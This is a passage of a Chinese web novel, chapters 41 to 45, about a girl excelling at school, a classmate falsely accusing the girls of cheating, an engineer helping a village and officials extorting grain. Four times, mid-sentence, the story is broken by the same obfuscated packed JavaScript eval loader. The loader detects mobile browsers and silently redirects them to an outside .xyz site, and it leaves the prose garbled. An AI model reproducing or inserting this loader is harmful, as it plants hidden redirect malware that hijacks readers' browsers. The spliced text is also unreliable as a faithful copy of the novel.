出成绩的那一天，众人的心都提到了嗓子眼。 老师一张张讲着卷子，大家基本已经差不多知道自己的成绩了。 试卷终于改完，写着成绩和排名的白纸被贴在了教室后面的墙上。 “快看，这次钟莹莹又是第一名。”有个男生惊呼道。 刘兵也挤到前面去，在白纸黑字上找到了自己的排名，第八名，比开学的时候，还退了两名，前十名里，只有三个男生，前三名都是女生。 刘兵的脸色肉眼可见的难看起来，他嘴里喃喃道：“怎么会？” 他无法接受，自己又一次输给了女生。 明明小叔说了，男生就是比女生聪明，以前考不过女生，是因为女生发育早，上了初中女生就没劲了，他们男生后劲足，他才应该是考得好的那个。 女生凭什么考那么高？不对，该不会是作弊了吧？ 这个念头一升起，刘兵就无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616916|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法遏制住嘴边的笑容。 边上男生见了嘀咕道：“刘兵气疯了？”怎么考试成绩下降了，反而还能笑的出来，这不像他啊。 之前考试有道题，老师批错了，少给刘兵一分，他都要拿着卷子，去办公室找老师给他加分。 很快，他就知道原因了。 郑老师拿着搪瓷缸子走进教师，刘兵立马上前去，大声喊道：“老师，我要举报，女生考试抄袭。” 郑老师被他吓了一跳，放下杯子，拍了拍胸膛，缓了缓才道：“抄袭？谁抄袭了？” 监考的时候她也在，没见着有人抄袭啊。 “女生抄袭，她们每个成绩都上升了。”刘兵义愤填膺道。 郑老师感觉有些无厘头：“就因为她们进步了？你有她们抄袭的证据吗？” “她们成绩全都进步了，不是抄袭是什么？”刘兵继续执迷不悟。 “呵……就不能是老师教的好。”李红雪站出来大胆发声。 “你小叔走了后，再也没有人骂我们蠢了，老师讲课又讲的好，凭什么不能进步？” 越想起之前那个老不死的，李红雪心中就越是愤怒。 她被耽误了多少啊，这一换老师，成绩就蹭蹭蹭的往上涨。 如果一开学就是郑老师来教，没准她已经考前三名了。 “你……我……”刘兵窘的面红耳赤。 “好了，刘兵同学，没有证据的事，就不要胡说八道，冤枉同学。” “现在，给班上的女同学道歉。”郑老师严肃道。 班里女生学习进步，刘兵就说她们是抄袭，这不是意思是自己带不好学生，打自己脸呢吗？ “老师……”刘兵声音带着哀求，他不想道歉，男子汉大丈夫，怎么能向女生低头。 “你要是不想道歉也行，我去找校长，给你换个班级，我们班要不起会污蔑同学的学生。”郑老师还真希望他一犟到底。 这个学生是之前刘老师的家人，万一自己哪点做的不好，没准会被他瞧了去，也举报自己。 今天这事就能看出，他爱胡乱攀扯旁人，真不是说着玩的。 “对不起，是我的错，我不该怀疑别人考的好就是作弊。”刘兵眼泪都掉了下来，紧攥着手，指甲扣进肉里，最终还是低头了。 他不能被赶出班级，会被人笑话的。 郑老师感慨一句，可惜了，没能借着这事把人给弄走。 她安慰自己道，没事的，做老师心胸要宽旷一些，不就一个刘兵吗？自己能够包容的，她可不像之前那个刘老师。 围着成绩单的学生散了不少，钟英莹上前去，随意扫了一眼自己的成绩，然后就略过了，接着在榜上找高家娣的成绩，忽然她眼睛一亮：“家娣，怎么样，我就说你不笨的吧？”高家娣这次考了第十五名，比之前的三十名开外，进步了一大半。 高家娣也很是激动，她真的有进步，她不是差生了。 钟莹莹对她的进步丝毫不意外，能从村里考出来的，还是个女孩，怎么可能是个脑子笨的？ 只要认真学习，进步是一定的。 42. 第 42 章 “欸，你说刘兵是不是疯了？”之前跟刘兵玩的好的那一伙人，此刻都离他远远的。 以前刘老师说男生就是比女生潜力大的时候，他们听着也很爽。 但是，后面女生反抗了，刘老师被辞退。 郑老师说的貌似更有道理，尤其这次考试，女生压倒性的战胜了他们。 他们更觉得，以前是刘老师教的不对。 刘兵却说是女生作弊才超过他们的。 考试的时候大家都在一个教室，要是真的女生全都作弊了，不可能他们没一个人看见，只有刘兵看见吧？ “我也觉得。”另一个男生也很赞同。 刘老师一走，刘兵就有种逮谁咬谁的趋势。 之前他们聊天，他就说了一句：“看来女生也挺聪明的。” 刘兵就疯了一样的骂他，说他长别人志气，灭自己威风。 可自己说的是实话啊，女生确实蛮聪明的。 放假的时候，他回家看了，村里的女生，放假回家既要干活，又要带弟妹，还能考的好，这不是聪明是什么？ “好了，同学们安静一下，马上就要放农忙假了。我们得把剩下的卷子都给讲完。” 民以食为天，地里的粮食是最重要的。 一到这个时间段，他们这所有的学校都得放假。 钟莹莹也是过上好日子了，刚请了一周假，回来考完试，又可以接着放假了。 “家娣，我给你说，你回家好好和你爹娘说，多做点保证，他们会让你继续上学的。” 高家娣的父母虽然对高家娣上学这件事有些不太情愿，但还是出钱让她读了。 这代表着他俩并不是完全压榨女儿，不讲道理的人。 高家娣抿唇一笑：“我知道的。” 这次的进步，让她心里松快了不少。 几个舍友都给她出主意，让她回家好好劝她父母。 钟莹莹还教了她怎么忽悠父母，说期末考试考得好，会拿奖励，有好几块钱呢。 说考上高中，学校也给奖励，中考如果考上市一高，那么学校会给出全部的学费。 上市一高，等于一只脚已经踏进大学了。 进了大学就有补贴拿。 小话一套一套的，她都不知道，原来上学还有这么多的名堂，去过海市的人，就是见识广。 期中考试前三名有奖励，每人发了一本笔记本，第一名有支额外的铅笔。 本子上有老师的鼓励语，和学校的印章。 家里还有一本，是初一的时候发的，钟莹莹打算这本也拿回家，给钟新澄和丽丽用。 学校给的这种奖励，学渣见不着，一般都羡慕的很。 拿给俩孩子用，能鼓励一下他们，让他俩好好学习，争取一样考上初中。 农忙要做的事情很多，不光是收粮食，还得捡树枝、搂树叶、攒柴火。 邓荣的到来，让周岱欣喜若狂。 一个机械厂的高级工程师，哪怕原来在学校，都不可能和他如此接近。 村长被钟伟先提醒过了，给邓荣安排活的时候，只给安排一些轻省的，不累人的。 这是知识分子，对他们村的用处大着呢。 没让钟家岗的人失望，在地里的稻谷还没收完的时候，邓荣就弄了个手摇式脱粒机。 他比知青们强一些，不用去废品站淘宝。 他的零件是让王书钰从海市记过来的。 图纸画完，一个脱粒机三下五除二的就组装出来了。 “就这小玩意，比牛还厉害？”村里人都围过来看稀奇。 原先他们稻谷脱粒，都是用牛拉着石碾子，在打谷场上反复碾压，直到稻粒从稻杆上脱落，再摔打稻杆，将落在稻杆上的稻粒抖干净。 牛不够用的时候，就人工拿个棒槌捶打脱粒，干一天，从早干到晚，整好多天才能处理完。 邓荣的脱粒机，只需要一个人站在边上摇把手，另外一个人把割下来的稻，伸到脱粒机甩打，没两下一大捆稻就脱粒完成。 “这文化人就是不一样啊。”老楚忍不住感慨。 自打来了知青后，他们的活轻松简便了不少，现在又来个更厉害的文化人，听说还是啥工程师呢，这不，造了个脱粒机出来。 他们给稻谷脱粒也不用那么累了。 几个人站在那轮换着来，因为对机器很新奇，一个个的摇起把手来，一句累也不喊。 “你们看，这就是机械的魅力。”邓荣像个开屏的孔雀一样，在一群娃娃中炫耀着。 “哇，好厉害啊~”孩子们的反应也没让他失望，立马听取哇声一片。 邓荣觉得，乡下可比机械厂有意思多了。 他在机械厂，搞出个什么玩意，边上一堆人嫉妒私下里想使坏。 好不容易发了个文章，还被人揪到错处，差点发配北疆取了。 在村里，他干什么，都有人说，好厉害啊。 村里人有啥好吃的，也会拿点给他吃。 孩子们爬树摘了桑葚、杏子，也都分给他。 他有点不想回海市了。 钟家岗的秋收工作完成的比预想中的快了大半。 等所有粮食都晒干入库了，钟家岗下了一场特别大的雨。 往年这个时间也会下雨，他们动作慢，只能着急忙慌的把粮食收屋里，免得被雨淋了，没办法保存。 雨后的钟家岗成了水泥路，一脚踩下去，到处都是泥巴。 “这路可真烂啊！”乡下哪里都好，就是路不行，晴天还好，一到下雨，简直无处下脚。 说者无意，听者有心。 村长在心里琢磨，他们村这路确实该好好修修了。 以前是没钱没时间，现在村里账上有余钱，大家农活也干的七七八八。 修修路造福后代，路边再种点果树，孩子们也能多点吃的东西。 正想着呢，镇上有人来通知：“县里的电影放映队，这个月轮到来钟家岗了，你们做好准备，把地方收拾出来。” 也没啥好收拾的，就是在晒谷场。 让大家都过去就行。 这次放的电影是《乡村女教师》，老大哥的片子，主要内容是歌颂当时的教育工作者，正好符合他们现在的扫盲运动需求，所以各个村都轮流着播放了一遍。 钟莹莹搬个小板凳，身上用擦了薄荷水，驱蚊，拿了个蒲扇，一边扇， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616917|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边津津有味的看。 刚毕业的瓦尔娃拉决心投入教育事业，得到家人的支持后，去了西伯利亚的乡村当教师，她的未婚夫因为参加革命被关进监狱。在那个村子里，人们对于教育并不重视，对瓦尔娃拉野非常排斥。 钟家岗的人看的非常感同身受，一开始扫盲的时候，他们学习学的也有点烦，后面知青们在村里做出点事业后，他们渐渐的就感受到了学习带来的好处。 电影里，三年时间过去，经过瓦尔娃拉的不懈努力，孩子们接受了她，她的未婚夫也刑满释放，和她举行了婚礼。 钟家岗的人纷纷为她的幸福感到喜悦。 可是画面一转，瓦尔娃拉的丈夫在战斗中离世，她又变成了一个人。 众人又纷纷垂泪，一颗心紧紧的为瓦尔娃拉揪了起来。 故事的最后，瓦尔娃拉继续在小村子里教书，一年年过去，战争结束，她的学生一个个在各个领域取得了突出成就，大家围绕在瓦尔娃拉身边，共同祝愿她健康长寿，祝福祖国繁荣富强。 “好！”钟家岗的人忍不住为他们的话语喝彩。 这电影真是太精彩了。 钟家岗人心里认定，只要他们努力，他们祖国也会像电影里一样繁荣富强。 整个钟家岗的学习氛围又迎来了另一波高潮。 知青们一闲着，就被村民追着问各种各样的问题。 钟莹莹以前只是听说过这部电影，并没看过，后世好玩的东西太多了，她时间有限。 这次看了，觉得还挺经典的，不管是运镜还是立意，这部电影都非常优秀。 “我给你的书看的怎么样了？”邓荣和蔼道。 在钟家岗待的这段时间，他整个人都变得平和起来。 “刚看完一本。”时间有限，钟莹莹不是真正的天才，能看完一本已经很不错了。 “有没有什么不懂的地方？” “这里……这里……”钟莹莹很实在，指了一处又一处，专业知识和通用知识，学习起来差距还是很大的。 邓荣深呼吸了好几下，觉得他好像把教学想的简单了。 一个完全无基础的学生，和念过相关专业的学徒，教起来完全不是一个感觉。 “邓老师，我……”周岱抱着书也过来了。 “莹莹也在啊！”周岱挠了挠头，有些不好意思。 后知后觉，他是不是打扰到邓老师和钟莹莹了。 “你来，给莹莹讲一下这些题目，顺便自己巩固复习一下。”邓荣想偷懒，基础性的东西，周岱能讲明白，让周岱来讲，自己就轻松了。 听邓荣的话，周岱很老实的接过课本，就开始给钟莹莹讲解。 钟新澄露个头，小手扒在门框上，在外面偷听的如痴如醉。 他上学后，也识了不少字。 钟莹莹书上的字认不完全，也能理解个大半。 上学很讨厌，但是搞发明创造，真的很有意思。 为什么不进去听呢？他作业没写完，被姑姑发现，指定要挨揍，还得回家写作业。 所以他只能偷偷的听。 小老头发现他了，没管。不管听不听的得懂，孩子有上进心是好事。 43. 第 43 章 “木木？”钟莹莹还是发现他了。 钟新澄垂头丧气的走出来：“姑姑。” “想听就过来一起听，但是，你得保证，晚上回家作业得写完。”钟莹莹不是不懂变通的人。 “真的吗？姑姑，我会写完的。”钟新澄兴奋的手舞足蹈。 周岱在那里讲解着，各个构件怎么通过活动联接，怎么实现规定运动。边讲还边随手给他俩画了简单的演示装置机构传动简图。 邓荣在旁边看着，一边看一边点头，不错，讲的比他好多了。 钟莹莹跟钟新澄都认真的听着。 ‘咕~咕~咕……’ 不知道是谁的肚子响了。 钟莹莹从知识的海洋中收回心神，好家伙，太阳都完全落下去了。 时间过得可真快。 “行了，今天就到这里吧，你们几个都回去吃饭吧，搁我这可没饭吃。”邓荣挥挥手，让他们都走。 他不太会做饭，平常就凑合着对付一口。 所有东西一起放在锅里，加水煮熟就直接吃。 搁城里还好，可以下馆子。 在村里，想弄点吃的，太不容易了。 想吃点好的，就得去镇上或者县里，路上就得花几个小时，还不够折腾的呢。 “老师，你晚上别做饭了，我回家给你端一碗来。”钟莹莹知道他的手艺。 钟新澄抬起头道：“对啊，老师，我奶做饭可好吃了，等下我给周哥哥也送一碗过去。” 他喜欢邓荣还有周岱，两个人讲的东西都可有趣了，乱七八糟的东西联接在一起，还能做竹蜻蜓和小手枪呢。 里面塞上小泥球，装上旧弹簧，扣下扳机，‘砰’的一声小泥球就会被发射出去。 他之前缠着周岱给做了一个，村里小孩子都羡慕坏了。 后面他自己想做几个，当孩子王，拆了小手枪，也不得其法。 只好又去找周岱，碰巧邓荣在给周岱讲东西，这下子他连邓荣也崇拜上了。 “醒了，你家粮食有多少够我天天白吃白喝的啊？”邓荣不客气的翻了个大白眼。 这姑侄俩真不愧是一家人，都大方的很。 这年头，粮食那么珍贵，哪能说给别人吃就给别人吃。 他都吃多少顿了，总不能一直占人便宜。 钟莹莹和钟新澄还没回家拿饭，村长就送东西过来了。 “邓工……呦，都在这呢？”一推门，就看见屋里站了一群人，村长吓了一跳。 “您吃了吗？这是我家媳妇做的饭，做的有点多了，我寻思给您送点过来。”村长对邓荣的态度很尊敬。 邓荣无奈了，这一个二个的怎么回事，自己想做个饭都不成了。 心里甜蜜地抱怨，面上却是带着一丝笑意：“这也太不好意思了，天天麻烦你们。”谁不喜欢被人关心照顾的感觉呢？ “嗐……这有什么？邓工您帮我们那么大忙，吃点东西有啥？”村长是真心实意的感谢邓荣还有那几位知青。 没有他们，钟家岗还是原先那个落后的村子。 “哟，我来晚了，这都要吃上了？”老楚端着一碗油渣笋干也过来了。 邓荣挑眉：“今天什么好日子？怎么你们都来给我送东西？” “老楚你这终于大方一回了，我都还没吃过你家东西呢！”村长心里也犯嘀咕，这老楚原先扣扣嗖嗖的人，今天送这么大礼，不知道心里在盘算什么。 可别有什么不好的打算，邓荣是他们争取过来钟家岗的，万一给人惹生气了，跑了，他上哪再找一个高级干部来给钟家岗干活。 没错，从海市回来后，钟莹莹就是这么忽悠他爹的，然后钟伟先又去忽悠了村长。 原先说好的落后分子，来接受思想再教育的，到了他们这里就变成了高级干部，下乡帮助建设农村。 一样的话，换一种说法，那可大大不同。 “兴你献殷勤，不许我来送东西啊。” “没吃过我家东西，走，等下跟我回家吃去。”老楚不想让村长坏了他好事，随口答应道。 就吃一顿饭而已，没什么舍不得的。 今天这事，可是关系到他儿子未来的大事。 “邓工啊，我有个请求，想让您帮助一下。”老楚的姿态放的极低。 “我想让我家儿子也跟着你学习，不求能学多少，只要能学到您的一丝丝，能让他以后自己混口饭吃就行。” 楚天宝脑子转的慢，天天去学校上学，也没学出个名堂，在学校还被其他村的小孩子欺负。 楚天宝天天被耍着玩，回过头反应过来，不愿意去上学了。 老楚自己明白，自己不能照顾他一辈子。两个姐姐对他是好，等到嫁出去了呢？丈夫不让贴娘家，那他儿子怎么办？他得早点为他打算。 “你家天宝？”村长瞪大了眼睛，那不是个傻子吗？让人去教傻子，谁愿意啊。 “是我家天宝，邓工，我也不瞒着你。” “我家天宝刚出生的时候，我们这发大水，他病的差点没了，所幸钟家给了药，保住了他一条小命。” “可他这脑子也坏掉了，不管做什么事情都比别人慢半拍。”老楚叹了一口气。 他不知道，自己强求一个儿子是对是错了。或许是因为他命中无子，他又强要来天宝，才让这个孩子遭那么大的罪。 老楚用哀求的眼神望着邓荣：“邓工，我向您保证，他绝对不是个坏孩子，只是脑子转的有点慢。” “我想让他跟着您学，能做点小玩意，会一点手艺就行。” 老楚看了之前钟新澄拿的那个小手枪，他以为是邓荣给的，所以就求到邓荣这边来了。 天宝喜欢那个东西喜欢的不得了。 钟新澄天天跟知青走得近，最近还在邓荣这边晃。 钟新澄能跟着学，他家天宝也能。 电影里的那些学生，通过好老师的教学，那么难，都能功成名就。 孩子傻了点，他去求，不管如何，只要孩子以后能有条出路就行。 村长继续目瞪口呆：“你这……” 他也不知道说什么好了，论关系，老楚是他们村人，他应该向着他，可论实力，邓工可是个能人，老楚这要求简直是无理取闹。 钟莹莹和钟新澄也楞在那里，想不通老楚为什么会有如此大胆的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621165|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想法。 邓荣见过楚天宝，那个孩子呆呆的，也不和别人玩，他以为是个内向的，今天才知道原来是个傻的。 钟莹莹这么个聪明娃他都教不好，让他去教一个傻子，那不是强人所难吗？ 他刚想拒绝，又想到他被下放，是来干活的，村里人待人友善，从不使唤他，待几个知青也好，给分的活少，公分又给的高。 知青闲下来，就给村里娃娃上课。 他呢？他总不能一直这样闲着吧？ “周知青们不是在给孩子们补课吗？我也过去，让大家一起学，能学成啥样，我不保证。”邓荣想了个折中的办法，不用单独面对傻子，也不用愧对村里人的优待。 “邓工，那可就太感谢了！”村长先老楚一步，激动的握住了邓荣的手。 知青们在孩子们放假的时候，就会给他们补习。 村里大人没事也会过去听讲。 老楚也很激动，虽然不是单独教自家孩子，但是自己孩子能跟着一块学，已经达到他的目的了。 学不好，只能说孩子态度不端正，或者老师不会教。 他家娃上课那么认真听讲，一定是之前学校学生太多了，老师顾不到他。 这回一块学，自己也跟着听，孩子听不懂的，自己听了回家也能教他。 “姑姑，邓老师真的要一块教我们啊？”钟新澄有点不乐意了。 原先属于自家人的特殊优待，一下子就变成大家都有的了。 他有点烦老楚，还有那个大傻子。 要是这俩人能…… 钟新澄脑子里浮现出一些不好的想法，眼神也逐渐变得幽深起来。 要是这俩人不在了，那邓老师是不是就只能教他们，不用教其他人了。 “木木，邓老师是来帮助建设我们村的，不是单独来帮助我们一家的。”看着钟新澄的眼神，钟莹莹顿了一下，钟新澄乖了那么久，久到她都忘记了，这孩子上辈子是个天生坏种。 只要一和别人不对付，那就会找机会对人下手，偏偏他自己还不觉得自己有做错什么。 钟莹莹的态度很严肃。 “楚天宝和老楚叔都是我们村的一份子，邓老师不可能只帮我们家，不帮他们家。” “我知道了。”钟新澄嘴上应答，心里却仍旧有一丝不舒服。 “木木，我们做人要大气一些。” “那楚天宝不是给你当小弟呢吗？你这个当老大的，不是应该多照顾他一些。”钟莹莹牵着他的手，慢慢劝导。 好久没给孩子进行思想教育了，她都有些生疏了。 钟新澄撅着嘴巴：“那我不要他当小弟了，可以吗？” “哪有说扔就扔的，这样以后谁敢和你混？”钟莹莹感到有些好笑。 “木木，你想当老大，就得舍得，当小气鬼是收不到小弟的。” 钟新澄小声嘀咕道：“姑姑你别说了，我会大方的。” 说要大方的钟新澄，刚回到家，就和丽丽干了一架，他拽着丽丽头发不松手，丽丽也用手指紧紧扯住了他的短发。 俩人都使出了吃奶的力气，一边拽，一边被对方拽的嗷嗷哭。 44. 第 44 章 “哎呀，你俩别打了~”陈显英过来劝架。 钟新澄不理她，继续忍着头皮的痛楚，死命拉扯钟丽丽的头发。 钟丽丽头发在钟新澄手里，她更不会撒手了。 俩人越拽越用力，眼泪也哗啦啦的流。 钟莹莹有些无语，她只不过是给他俩一人发了一本笔记本，然后就打起来了。 钟新澄独惯了，之前钟莹莹送礼物只给他一个，这次带丽丽分，他可不就不乐意。 丽丽呢，钟新澄没出生的时候她就跟着钟莹莹，结果钟新澄这个后来的，和她分姑姑的宠爱就算了，现在竟然想完全占据她的位置，她绝不答应。 钟新澄怒火冲天：“你走，不要待在我家。” 丽丽挑衅道：“这是我家，我先住在这里的，要走也是你走。” “呜哇哇哇哇哇……”钟新澄说不过她，开始大声哭嚎，哭的时候也不忘继续拽钟丽丽的头发。 钟莹莹上前去分开俩孩子：“再打，我就把两本笔记本都拿去给别人去。” 她话音刚落，俩人都撒手了。 ‘哼’钟丽丽瞪钟新澄一眼，抹抹眼泪把自己那本拿回钟莹莹房间藏好了。 钟新澄吸着鼻涕紧随其后，也拿着东西藏到了他爹娘房间里。 晚饭时，钟明芳和黄有德都回来了。 黄有德的转业办好了，他现在在县公安局做小队长。 “爹娘，我打算在钟家岗起个房子，让我娘搬来这边住。”黄家岗那边的房子，只要一涨水，就会被淹，原先是没那个条件，现在没必要再回去住了。 钟伟先很赞同：“搬过来也好，平常干个啥都方便些。” “和你姐夫说了吗？”批宅基地的事情要经过村长的手，沾亲带故的，这事简单的很。 “说好了已经，台子下面，原先要盖猪圈的那块地，他分给我了。”亲兄弟明算账，黄有德给村里交了钱，还把老娘的户口也给迁过来了，没有户口，他是没法子建房子的。 “对了爹，姐夫说想修一修村里的路。”黄有德随口提起说。 修路？钟莹莹很吃惊，村长现在思想那么先进的吗？看来还是读书好啊！ 要想富，先修路。 她们村这‘水泥路’真该好好修修了。 “修路？那不得搞点河沙，和碎石子？” “我有个朋友在砂石厂那边工作，有需要我可以过去问一问。”钟绍华插了一嘴。 这个人不是别人，是他当年读书时的同学。 “河沙和石子不急，可以先用碎砖头块。” 钟伟先记得，窑厂那边好像有很多的残次品砖头堆在那里。 之前有人需要建个小院墙啊，盖个鸡圈啊，都会过去买那个，便宜，也不耽误用，而且吴家村离钟家岗也近，还合作过很多次，大批量的采购应当价格还能再降一降。 钟绍华认同的点点头：“也是，钱得花在刀刃上。” 去窑厂拉碎砖，还借用了人家的司机和火车，不然按照钟家岗那头牛的脚力，得拉个好几天，货车一天拉了几车就全拉完了。 吴家村的人还打探他们要碎砖干嘛，知道是他们要修路后，还露出不敢置信的表情。 这年头，人吃饱都难，钟家岗还修上路了，这家伙真的富了啊。 吴家村的村长召开会议，核心宗旨就是，钟家岗的人都修路了，他们作为拿了多年先进的先进村，不能落后，他们也得修路。 吴家村的人不想搞，又想着钟家岗的人搞了，他们有窑厂，路还不如钟家岗好，有些没面子，牙一咬，也跟着修起路来。 钟家岗人少，修路也不麻烦，只需要将各家各户门口的路用碎砖头铺了，连在一起就行。 一车车的砖头倒在晒谷场上，各家各户拿东西铲了铺在自家门口的路上，公共的地方就大家一起干，没几天，碎红砖铺成的一条条小路就打通了。 虽然他们已经尽力铺整齐了，但是小路踩起来仍旧有些凹凸不平，不是所有的碎砖块都能完整的拼起来的。 要是能弄到碎煤渣就好了，填到砖缝里，会更整齐一些。 脚踩在碎砖头上，钟莹莹感慨，村里这日子，真是一天比一天好了。 钟伟先跟着村长用牛车拉着粮食去镇上交公粮了。 他们去的早，正常来说，排队排到前面，这个点该回来了，可现在却连个人影也没见到，不会是出什么事了吧？ 陈显英一直在村口往大路上张望。 等好半天才见到人回来，忙不迭问：“怎么样？还顺利吗？” “顺利个球，粮站不知道从哪里调来个新人，非说我们的粮不够称，讹了我们半袋子粮。”村长想想就觉得晦气。 陈显英皱眉：“咋这样啊？那其他村的呢？” 钟伟先把牛拴到牛屋里，转身道：“其他村也一样，交的比我们还多呢，一个个都多交了一袋粮。” “这都没人管的吗？还有王法吗？” “王法，人家是当官的，敢反抗，说你粮没晒干，不收你的粮，那才叫傻眼了呢。”不是没人反抗，反抗最激烈的那个直接被杀鸡敬猴了，一人遭殃，后面的人可不都老实了。 唉……陈显英忍不住叹气。 自古以来，民不与官斗，他们只是普通的农村人，哪里斗得过那些当官的。 如果反抗有用的话，她爹就不会被抓到岛上去了。 想起往事，陈显英心情低落，连饭都没吃，就回屋躺下了。 “爹，娘怎么了？”钟莹莹奇怪道。 钟伟先不想在孩子面前提起那些不开心的事情：“没事，你娘只是想起不开心的事了，歇一会就好了。” 钟伟先不愿意说，钟莹莹却是能猜出个七七八八。 她娘上辈子的遗憾就是，至死也没能再见到那个被带走的父亲。 包括那个未曾谋面的她娘的娘，都是带着遗憾走的。 钟莹莹就算是上辈子，也没见过那人，后面开放了，允许那边的人回来寻亲。 她也没有信息，甚至不知道那人叫什么。 说不准那个时候，那人可能都已经没了，上哪找去。 事情都过去那么久了，娘怎么会突然想起来？肯定是发生了什么她不知道的事情。 钟莹莹漫不经心道：“爹，你今天去交公粮还顺利吗？” 说完，她还不忘观察钟伟先的表情。 果然，她刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623297|171733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完话，钟伟先的眉头就紧锁着，转而又放松道：“没啥事，就是排队排的久了些。” 破案了，绝对是有人难为他们了。 她爹不肯说，她找村长打听去，村长在小孩子面前嘴巴没那么严。 吃了饭，钟莹莹就溜达到了村长家：“叔，吃饭了吗？” 村长蹲在家门口，乐呵呵道：“是莹莹啊，叔吃过了。” 他们这辈份也是乱得很，他小舅子娶了钟家大闺女，他跟钟伟先是平辈，从他小舅子那算，他得喊钟莹莹一声妹。 钟莹莹是钟绍华老来得子得来的，按照年龄来说，自己当她爷爷都使得。 妹妹实在喊不出口。 两边一商量，干脆各论各的。 在钟家岗这边，他们按照钟家岗的辈份算，黄家岗那边的，另说。 钟莹莹把玩着手里的狗尾巴草：“叔，听说我爹跟你们一块去镇上交公粮了？交公粮好玩吗？” “那是正经事，哪里能说玩呢。” “唉……咱们农村人面朝黄土背朝天，走到哪都受气。”钟强先虽然在村里当了村长，但和普通村民也没两样，一样的要去地里干活。 原先镇长来村里采访，态度是那么的和蔼亲民，他就以为现在当官的也都是好人。 今天这一遭，真是给他迎头一棒。 “咋啦？收粮的欺负人？” “可不是吗？”村长满心的苦水不知道该往哪倒，钟莹莹一问，他就绷不住了。 “好端端的去交粮食，咱们村的粮食是用邓工做的那个脱粒机摇出来的，还过筛了，稻草杆子都筛的干干净净的，又在晒谷场晒了那么些天。” “临走前还在村里过秤了，等到地方了，硬生生说我们不够称，楞是又讹了我们半袋粮。”半袋粮几十斤呢，省着点都够他们家吃一两个月了。 钟莹莹听明白了，愤怒道：“他们真可恶！” 哪个时代都不缺蛀虫，这些蛀虫不清理掉，等到那个时期，他们的处境会更艰难。 “莹莹，叔给你说的这些事，你可千万别往外说啊~”大人有分寸，孩子听了万一一怒之下，去粮站找麻烦怎么办？ 村长有点后悔和钟莹莹说这些事情了。 钟莹莹承诺道：“我知道的，我不说。” 又问了村长一些细节，钟莹莹就走了。 后悔归后悔，村长吐完苦水，心里也舒服多了，没出息地告诉自己：抢我们粮，那我们就多种点，让你怎么抢也抢不完。 黄有德的房子开始动工了，钟莹莹的假期也结束需要返校了。 钟莹莹准备寒假前去处理一下那个镇上新来的，教他一下什么是作为公职人员应当有的公平公正，最好能给人弄走。 敢拿他们村的东西，就要做好自家东西也被拿的准备。 现在去，容易被人联想到刚被针对过的几个村身上，等过段时间，大家都放松警惕了，她站在院子外面，就能把东西通通给收了。 现在空间差不多满了，她拿东西之前还得把空间里的东西先藏好，粮站那人再富，也没海市的富，不值当一直放她空间里。 等拿到东西转移好，再把海市弄的那一批给弄回空间里。 45. 第 45 章 钟莹莹这几天总感觉奇奇怪怪，暗中好像有人在背后注视着自己。 一回头那视线却又消失不见了。 楚秀秀看着走着走着突然停下脚步的钟莹莹，疑惑道：“莹莹，怎么了？” 钟莹莹随口敷衍道：“没事，应当是我感觉错了。” “对了，莹莹，郑老师说，初三年级有女生失踪了，让我们放假的时候最好让家里人来接。”楚秀秀边走边说。 “真的啊，那是该小心一点！” 钟莹莹没打消心底的疑虑，佯装和楚秀秀聊天，仔细感受暗中偷窥的那人还在不在。 忽然，她猛的一回头，对上了一双眼睛。 那人又很快逃走了。 钟莹莹觉得那眼睛似曾相识，好似在哪里见过。 是在哪里呢？ 她在脑海中的记忆力不断翻找着。 她的人际交往范围极窄，一般能接触到的只有学校的老师同学，还有村子里的人。 这个人不在这个范围内。 看起来像个男人，还是个成年男人。 还有谁呢？ 想到楚秀秀说的学校有人失踪，钟莹莹联想到人贩子。 她认识的人贩子。 吴家人。 吴大勇在蹲篱笆子，吴大军吃枪子了，只有吴大海现在不知所踪。 当初去吴家闹那么一遭，后面吴家人就被抓了，不排除吴大海怀恨在心，想要报复。 “秀秀，我突然想起有道题不会，想去办公室找一下郑老师。”钟莹莹打定主意上报这件事情，不管那人是不是吴大海，他在背后躲躲藏藏的都不像是个好东西。 